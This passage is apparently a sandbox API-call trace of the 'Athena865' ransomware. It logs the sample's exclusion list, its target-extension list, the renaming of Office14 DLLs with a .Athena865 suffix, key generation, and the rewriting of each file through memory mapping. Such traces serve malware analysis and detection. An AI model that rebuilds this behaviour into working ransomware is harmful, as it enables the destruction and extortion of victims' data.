8 [0082.009] lstrcmpiW (lpString1="ddin.dll", lpString2="sas7bdat") returned -1 [0082.009] lstrlenW (lpString="sbf") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0082.009] lstrlenW (lpString="scx") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0082.009] lstrlenW (lpString="sdb") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0082.009] lstrlenW (lpString="sdc") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0082.009] lstrlenW (lpString="sdf") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0082.009] lstrlenW (lpString="sis") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0082.009] lstrlenW (lpString="spq") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0082.009] lstrlenW (lpString="te") returned 2 [0082.009] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0082.009] lstrlenW (lpString="teacher") returned 7 [0082.009] lstrcmpiW (lpString1="din.dll", lpString2="teacher") returned -1 [0082.009] lstrlenW (lpString="tmd") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0082.009] lstrlenW (lpString="tps") returned 3 [0082.009] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0082.010] lstrlenW (lpString="trc") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0082.010] lstrlenW (lpString="trc") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0082.010] lstrlenW (lpString="trm") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0082.010] lstrlenW (lpString="udb") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0082.010] lstrlenW (lpString="udl") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0082.010] lstrlenW (lpString="usr") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0082.010] lstrlenW (lpString="v12") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0082.010] lstrlenW (lpString="vis") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0082.010] lstrlenW (lpString="vpd") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0082.010] lstrlenW (lpString="vvv") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0082.010] lstrlenW (lpString="wdb") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0082.010] lstrlenW (lpString="wmdb") returned 4 [0082.010] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0082.010] lstrlenW (lpString="wrk") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0082.010] lstrlenW (lpString="xdb") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0082.010] lstrlenW (lpString="xld") returned 3 [0082.010] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0082.010] lstrlenW (lpString="xmlff") returned 5 [0082.010] lstrcmpiW (lpString1="n.dll", lpString2="xmlff") returned -1 [0082.011] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONPPTAddin.dll.Athena865") returned 67 [0082.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONPPTAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onpptaddin.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONPPTAddin.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onpptaddin.dll.athena865"), dwFlags=0x1) returned 1 [0082.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONPPTAddin.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onpptaddin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.013] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=688512) returned 1 [0082.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.013] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.014] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.014] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.014] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa8480, lpName=0x0) returned 0x154 [0082.016] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa8480) returned 0x2d50000 [0082.088] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.088] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.088] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.089] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.095] CloseHandle (hObject=0x154) returned 1 [0082.095] CloseHandle (hObject=0x17c) returned 1 [0082.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.098] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x59864770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb9978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONWordAddin.dll", cAlternateFileName="ONWORD~1.DLL")) returned 1 [0082.098] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.098] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.098] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2=".") returned 1 [0082.098] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="..") returned 1 [0082.098] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="windows") returned -1 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="bootmgr") returned 1 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="temp") returned -1 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="pagefile.sys") returned -1 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="boot") returned 1 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="ids.txt") returned 1 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="ntuser.dat") returned 1 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="perflogs") returned -1 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2="MSBuild") returned 1 [0082.099] lstrlenW (lpString="ONWordAddin.dll") returned 15 [0082.099] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONWordAddin.dll" | out: lpString1="ONWordAddin.dll") returned="ONWordAddin.dll" [0082.099] lstrlenW (lpString="ONWordAddin.dll") returned 15 [0082.099] lstrlenW (lpString="Athena865") returned 9 [0082.099] lstrcmpiW (lpString1="Addin.dll", lpString2="Athena865") returned -1 [0082.099] lstrlenW (lpString=".dll") returned 4 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2=".dll") returned 1 [0082.099] lstrlenW (lpString=".lnk") returned 4 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2=".lnk") returned 1 [0082.099] lstrlenW (lpString=".ini") returned 4 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2=".ini") returned 1 [0082.099] lstrlenW (lpString=".sys") returned 4 [0082.099] lstrcmpiW (lpString1="ONWordAddin.dll", lpString2=".sys") returned 1 [0082.099] lstrlenW (lpString="ONWordAddin.dll") returned 15 [0082.099] lstrlenW (lpString="bak") returned 3 [0082.099] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0082.099] lstrlenW (lpString="ba_") returned 3 [0082.099] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0082.099] lstrlenW (lpString="dbb") returned 3 [0082.099] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0082.099] lstrlenW (lpString="vmdk") returned 4 [0082.099] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0082.099] lstrlenW (lpString="rar") returned 3 [0082.099] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0082.100] lstrlenW (lpString="zip") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0082.100] lstrlenW (lpString="tgz") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0082.100] lstrlenW (lpString="vbox") returned 4 [0082.100] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0082.100] lstrlenW (lpString="vdi") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0082.100] lstrlenW (lpString="vhd") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0082.100] lstrlenW (lpString="vhdx") returned 4 [0082.100] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0082.100] lstrlenW (lpString="avhd") returned 4 [0082.100] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0082.100] lstrlenW (lpString="db") returned 2 [0082.100] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0082.100] lstrlenW (lpString="db2") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0082.100] lstrlenW (lpString="db3") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0082.100] lstrlenW (lpString="dbf") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0082.100] lstrlenW (lpString="mdf") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0082.100] lstrlenW (lpString="mdb") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0082.100] lstrlenW (lpString="sql") returned 3 [0082.100] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0082.100] lstrlenW (lpString="sqlite") returned 6 [0082.100] lstrcmpiW (lpString1="in.dll", lpString2="sqlite") returned -1 [0082.100] lstrlenW (lpString="sqlite3") returned 7 [0082.100] lstrcmpiW (lpString1="din.dll", lpString2="sqlite3") returned -1 [0082.101] lstrlenW (lpString="sqlitedb") returned 8 [0082.101] lstrcmpiW (lpString1="ddin.dll", lpString2="sqlitedb") returned -1 [0082.101] lstrlenW (lpString="xml") returned 3 [0082.101] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0082.101] lstrlenW (lpString="$er") returned 3 [0082.101] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0082.101] lstrlenW (lpString="4dd") returned 3 [0082.101] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0082.101] lstrlenW (lpString="4dl") returned 3 [0082.101] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0082.101] lstrlenW (lpString="^^^") returned 3 [0082.101] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0082.101] lstrlenW (lpString="abs") returned 3 [0082.101] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0082.101] lstrlenW (lpString="abx") returned 3 [0082.101] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0082.101] lstrlenW (lpString="accdb") returned 5 [0082.101] lstrcmpiW (lpString1="n.dll", lpString2="accdb") returned 1 [0082.101] lstrlenW (lpString="accdc") returned 5 [0082.101] lstrcmpiW (lpString1="n.dll", lpString2="accdc") returned 1 [0082.101] lstrlenW (lpString="accde") returned 5 [0082.101] lstrcmpiW (lpString1="n.dll", lpString2="accde") returned 1 [0082.101] lstrlenW (lpString="accdr") returned 5 [0082.101] lstrcmpiW (lpString1="n.dll", lpString2="accdr") returned 1 [0082.101] lstrlenW (lpString="accdt") returned 5 [0082.101] lstrcmpiW (lpString1="n.dll", lpString2="accdt") returned 1 [0082.101] lstrlenW (lpString="accdw") returned 5 [0082.101] lstrcmpiW (lpString1="n.dll", lpString2="accdw") returned 1 [0082.101] lstrlenW (lpString="accft") returned 5 [0082.101] lstrcmpiW (lpString1="n.dll", lpString2="accft") returned 1 [0082.101] lstrlenW (lpString="adb") returned 3 [0082.101] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0082.101] lstrlenW (lpString="adb") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0082.102] lstrlenW (lpString="ade") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0082.102] lstrlenW (lpString="adf") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0082.102] lstrlenW (lpString="adn") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0082.102] lstrlenW (lpString="adp") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0082.102] lstrlenW (lpString="alf") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0082.102] lstrlenW (lpString="ask") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0082.102] lstrlenW (lpString="btr") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0082.102] lstrlenW (lpString="cat") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0082.102] lstrlenW (lpString="cdb") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0082.102] lstrlenW (lpString="ckp") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0082.102] lstrlenW (lpString="cma") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0082.102] lstrlenW (lpString="cpd") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0082.102] lstrlenW (lpString="dacpac") returned 6 [0082.102] lstrcmpiW (lpString1="in.dll", lpString2="dacpac") returned 1 [0082.102] lstrlenW (lpString="dad") returned 3 [0082.102] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0082.102] lstrlenW (lpString="dadiagrams") returned 10 [0082.102] lstrcmpiW (lpString1="dAddin.dll", lpString2="dadiagrams") returned -1 [0082.102] lstrlenW (lpString="daschema") returned 8 [0082.102] lstrcmpiW (lpString1="ddin.dll", lpString2="daschema") returned 1 [0082.103] lstrlenW (lpString="db-journal") returned 10 [0082.103] lstrcmpiW (lpString1="dAddin.dll", lpString2="db-journal") returned -1 [0082.103] lstrlenW (lpString="db-shm") returned 6 [0082.103] lstrcmpiW (lpString1="in.dll", lpString2="db-shm") returned 1 [0082.103] lstrlenW (lpString="db-wal") returned 6 [0082.103] lstrcmpiW (lpString1="in.dll", lpString2="db-wal") returned 1 [0082.103] lstrlenW (lpString="dbc") returned 3 [0082.103] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0082.103] lstrlenW (lpString="dbs") returned 3 [0082.103] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0082.103] lstrlenW (lpString="dbt") returned 3 [0082.103] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0082.103] lstrlenW (lpString="dbv") returned 3 [0082.103] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0082.103] lstrlenW (lpString="dbx") returned 3 [0082.103] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0082.103] lstrlenW (lpString="dcb") returned 3 [0082.103] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0082.103] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONWordAddin.dll.Athena865") returned 68 [0082.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONWordAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onwordaddin.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONWordAddin.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onwordaddin.dll.athena865"), dwFlags=0x1) returned 1 [0082.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONWordAddin.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onwordaddin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.112] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=760184) returned 1 [0082.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.112] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.113] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.113] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.113] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9c80, lpName=0x0) returned 0x154 [0082.115] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb9c80) returned 0x2d50000 [0082.227] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.228] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.228] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.229] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.235] CloseHandle (hObject=0x154) returned 1 [0082.235] CloseHandle (hObject=0x17c) returned 1 [0082.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.238] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd041f000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbb88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORGCHART.DLL", cAlternateFileName="")) returned 1 [0082.238] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.238] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.238] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2=".") returned 1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="..") returned 1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="windows") returned -1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="bootmgr") returned 1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="temp") returned -1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="pagefile.sys") returned -1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="boot") returned 1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="ids.txt") returned 1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="ntuser.dat") returned 1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="perflogs") returned -1 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2="MSBuild") returned 1 [0082.239] lstrlenW (lpString="ORGCHART.DLL") returned 12 [0082.239] lstrcpyW (in: lpString1=0x241e89e, lpString2="ORGCHART.DLL" | out: lpString1="ORGCHART.DLL") returned="ORGCHART.DLL" [0082.239] lstrlenW (lpString="ORGCHART.DLL") returned 12 [0082.239] lstrlenW (lpString="Athena865") returned 9 [0082.239] lstrcmpiW (lpString1="CHART.DLL", lpString2="Athena865") returned 1 [0082.239] lstrlenW (lpString=".dll") returned 4 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2=".dll") returned 1 [0082.239] lstrlenW (lpString=".lnk") returned 4 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2=".lnk") returned 1 [0082.239] lstrlenW (lpString=".ini") returned 4 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2=".ini") returned 1 [0082.239] lstrlenW (lpString=".sys") returned 4 [0082.239] lstrcmpiW (lpString1="ORGCHART.DLL", lpString2=".sys") returned 1 [0082.239] lstrlenW (lpString="ORGCHART.DLL") returned 12 [0082.239] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL.Athena865") returned 65 [0082.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll.athena865"), dwFlags=0x1) returned 1 [0082.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.242] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1817480) returned 1 [0082.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.242] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.243] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.243] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.243] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bbe90, lpName=0x0) returned 0x154 [0082.244] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bbe90) returned 0x2d50000 [0082.322] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.323] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.323] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.324] HeapFree (in: hHeap=0x4f0000, 